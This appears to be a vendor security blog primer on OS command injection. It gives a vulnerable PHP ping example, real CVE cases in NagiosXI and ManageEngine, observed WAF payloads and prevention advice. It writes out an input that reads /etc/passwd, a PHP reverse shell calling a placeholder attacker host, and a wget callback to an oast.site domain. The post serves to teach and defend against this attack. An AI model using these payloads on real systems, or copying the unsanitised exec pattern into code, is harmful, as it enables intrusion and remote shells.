Back to Basics: OS Command Injection
Back to Basics: A Primer
This is the first in a series of posts where we’ll cover the basics of different types of web application vulnerabilities and attacks. In each post, we’ll provide in-depth descriptions of the vulnerabilities, show how these vulnerabilities are exploited, discuss real-world examples, and discuss how to prevent them.
What is OS Command Injection?
OS Command Injection is a web application vulnerability that allows attackers to execute arbitrary commands on the underlying operating system. These vulnerabilities occur when web applications call operating system commands with user-supplied input provided as arguments.
Consider a web application meant to monitor internal systems and provide alerts when one of the systems goes offline. In this scenario, the application may want to test network reachability to the target and does so by executing a ping command. If the application is written in PHP, the underlying code may look something like the following:
$ip_address = $_GET["ip_address"])$not_used = array();$return_code = 0;exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
PHP’s exec function will execute the ping command with the user-provided value for ‘ip_address’ appended at the end as the target. If, however, a user provides localhost; cat /etc/passwd
as the provided IP address, both the ping command and the second command initiated after the semicolon will be executed. At this point, an attacker has full command execution and can execute any number of malicious commands to attempt to escalate access, retrieve sensitive information, maintain persistence, or pivot to other targets on the network. Due to its often more devastating impact, command injection vulnerabilities are often rated more severely than other web application vulnerabilities.
What is not OS Command Injection?
Command Injection is often confused with other injection attacks, most notably Code Injection. The simplest way to distinguish between the two vulnerabilities is based on the method and context of the payload execution:
Command Injection notably executes in the context of the underlying operating system’s shell programs (e.g. bash) by injecting into the call to an outside program.
Code Injection executes in the context of the programming language in use. An example of this would be injecting into PHP’s include or eval function and being able to execute arbitrary PHP code.
Where folks sometimes get confused is when a command injection payload contains code from programming languages like PHP. For example, consider using the following command injection payload in our previous example that will launch a reverse shell:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Since the payload contains mostly PHP code, at first glance it may come off as Code Injection. However, the beginning of the payload is what demonstrates that it is actually Command Injection. The semicolon ends the current bash command, ping, before the PHP command is executed. php -r will execute the following PHP on the command line, which in this case is a reverse shell back to the attacker’s IP address. While PHP code is being executed in our payload, this is OS Command Injection because we’re injecting into the OS’ shell program arguments.
OS Command Injection in the Wild
OS Command Injection in NagiosXI: CVE-2021-25296(7,8)
As expanded on in our prior research, NagiosXI versions 5.5.6 to 5.7.5 were affected by three separate instances of command injection. Our earlier example with ping is actually loosely taken from CVE-2021-25298, whose command injection vulnerability resided in a call to ping through PHP’s exec function with a user-supplied IP address. While CVSS scores are not perfect, these have scores assigned of 8.8/10, showcasing their high impact. In our post, we demonstrate using these vulnerabilities in a practical way by launching both Meterpreter remote shells and callbacks to Project Discovery’s interactsh. As noted by CISA, these CVEs are actively exploited by attackers in the wild, demonstrating their potential value in compromising systems.
OS Command Injection in ManageEngine ADManagerPlus: CVE-2023-29084
This particular command injection vulnerability perfectly demonstrates how not to prevent command injection. Dinh Hoang has a wonderful write-up describing the vulnerability, specifically that ADManagerPlus uses a function CommonUtil.getPowerShellEscapedValue
to escape a username and password value provided by the user for a reg add command. However, that function does not escape CRLF characters, which allows the following payload to be inserted as a password and launch calc: [any-content]\r\ncalc.exe
. As we’ll discuss later, performing this type of input sanitization allows for mistakes, new bypasses, or missed metacharacters that can lead to future command injection.
OS Command Injection as Seen by WAFs
Fastly’s Next-Gen WAF protects against command injection attacks. By investigating some observed command injection payloads, we can see what attackers are really sending to detect OS command injection vulnerabilities.
Payload Example 1: Ping “sleep” in POST request data
language=&ping -c 25 127.0.0.1 &
This payload is a straightforward attempt at command injection into the language field. It’s also using a blind command injection technique in that it does not rely on retrieving output from the command in order to detect the injection. First, the payload uses the & metacharacter to execute the second command while the first command runs in the background. The payload contains the ping command with the -c flag which tells ping to send 25 packets, one every second. By analyzing the time of the response, an attacker can determine whether their injected command was executed. This technique can fail, however, if the targeted application does not wait for the executed command to complete before sending an HTTP response. Let’s look at a more interesting example of blind command injection that does not have this limitation.
Payload Example 2: Wget in POST request Data
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
This payload is injected into the macAddress field and contains two metacharacters to help with command injection. First, the semicolon marks the end of the first command so the attacker's command can be launched. At the end of the injected payload, the attacker uses the # metacharacter as a way to comment out any following data. This is useful if the argument they are injecting into is not the final argument in the command, as any follow-on arguments will be ignored as part of the comment.
The meat of the payload is in the wget command, which reaches out to a subdomain of oast.site, one of the default callback domains used by Project Discovery's interactsh. OAST refers to out-of-band application security testing, which interactsh facilitates by using unique subdomains and payloads to determine whether the targeted attack was successful. There are several other domains used by interactsh and other tools that facilitate the same type of testing, which we’ve previously observed.
Preventing OS Command Injection
There are several ways to prevent OS command injection that vary in their effectiveness and drawbacks.
Ideal Solution
Never call out operating system commands from application code. This completely removes the possibility of OS command injection vulnerabilities by removing the injected commands themselves. Utilizing alternative methods to perform the same actions is a safer and preferred option.
Secondary Solution
If removing calls to OS commands is unavoidable in your environment, then strong input validation is essential to preventing OS command injection vulnerabilities. Strong input validation is different from input sanitization. Input validation requires ensuring that user input contains only the values that are safe for the application to pass into the OS commands. Some examples of strong input validation are:
Validating input is contained in an allowed list of values.
Validating that provided input is of the proper type (e.g. an integer, or an IP address).
Validating that input contains only alphanumeric values.
Not Recommended
If neither of these options are possible, sanitizing user input by escaping shell metacharacters (e.g. & or ;) should be a last resort. It is difficult to get this sanitization correct due to the many ways metacharacters can be represented, interpreted by different operating systems, and how sanitization methods can be bypassed. CVE-2023-29084 showcases the possible problems with this method, as a missed metacharacter (CRLF) led to a successful command injection. While sanitization will often protect against the low-hanging fruit of OS command injection payloads, it is not a complete solution due to both the difficulty of correct implementation and bypass possibilities.
References and Further Reading
Further reading:
CWE-77 Command Injection
CWE-78 OS Command Injection
OWASP Command Injection
Portswigger Web Security Academy Materials & Labs
Examples:
OS Command Injection in NagiosXI (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298)
OS Command Injection in ManageEngine AD Manager Plus (CVE-2023-29084)